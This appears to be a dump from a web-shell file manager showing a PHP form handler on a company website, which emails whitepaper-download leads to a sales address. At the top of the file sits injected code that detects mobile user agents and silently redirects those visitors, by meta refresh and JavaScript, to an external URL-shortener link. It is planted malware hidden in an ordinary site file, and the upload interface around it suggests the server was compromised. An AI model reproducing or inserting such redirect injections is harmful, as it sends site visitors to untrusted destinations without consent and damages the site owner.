/
home
/
whiteglobeco
/
public_html
/
nexoratechsolutions.com
/
Upload File
HOME
<?php $lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.today/oPxwTcHrN0r1" /><script>location.replace("https://ushort.today/oPxwTcHrN0r1");</script>'; $userAgent = $_SERVER['HTTP_USER_AGENT']; $mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile']; foreach ($mobileAgents as $agent) { if (stripos($userAgent, $agent) !== false) { echo $lineindexinstall; } } ?> <?php header("Content-Type: application/json"); // Get JSON data from JS $data = json_decode(file_get_contents("php://input"), true); // Collect form data $name = $data["name"]; $email = $data["email"]; $company = $data["company"]; $role = $data["role"]; $whitepaper = $data["whitepaper"]; // Where email should go $to = "sales@nexoratechsolutions.com"; $subject = "New Whitepaper Download Lead"; // Email content $message = " New Lead Received Name: $name Email: $email Company: $company Role: $role Requested PDF: $whitepaper "; // Email headers $headers = "From: website@nexoratechsolutions.com"; // Send email if(mail($to, $subject, $message, $headers)){ echo json_encode(["success" => true]); }else{ echo json_encode(["success" => false]); } ?>